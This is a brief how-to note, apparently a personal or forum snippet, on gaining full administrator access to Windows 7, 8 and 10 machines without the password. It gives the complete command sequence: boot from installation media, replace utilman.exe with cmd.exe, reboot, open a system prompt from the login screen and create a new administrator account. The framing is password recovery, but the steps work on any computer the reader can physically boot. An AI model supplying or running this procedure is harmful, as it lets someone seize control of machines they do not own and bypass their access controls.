full admin access to forgotten password system

works with windows 7,8,10
Boot from CD.

Press Shift+F10 to start command promt during setup process.


goto d:\windows\system32

move utilman.exe to utilman.bak

copy cmd.exe to utilman.exe


reboot system via either 1 or 2

1) wpeutil reboot and should get a command prompt
2) shutdown /r /t 0 and after start windows+U to get a command prompt

net user USERNAME /add
net localgroup administrators USERNAME /add